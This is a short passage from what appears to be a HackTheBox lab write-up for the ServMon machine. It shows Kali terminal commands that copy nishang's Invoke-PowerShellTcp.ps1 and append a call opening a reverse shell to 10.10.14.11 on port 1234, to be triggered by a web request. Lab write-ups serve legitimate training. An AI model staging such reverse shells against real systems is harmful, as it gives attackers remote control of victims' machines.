Invoke-PowerShellTcp.ps1
The On-Mem PowerShell reverse shell solution
┌──(kali㉿kali)-[~/archive/htb/labs/servmon]
└─$ cp /home/kali/Tools/nishang/Shells/Invoke-PowerShellTcp.ps1 .
Copying to the current working directory
┌──(kali㉿kali)-[~/archive/htb/labs/servmon]
└─$ echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.11 -Port 1234' >> Invoke-PowerShellTcp.ps1
Appending the cmdlet so that it will execute upon calling through a web request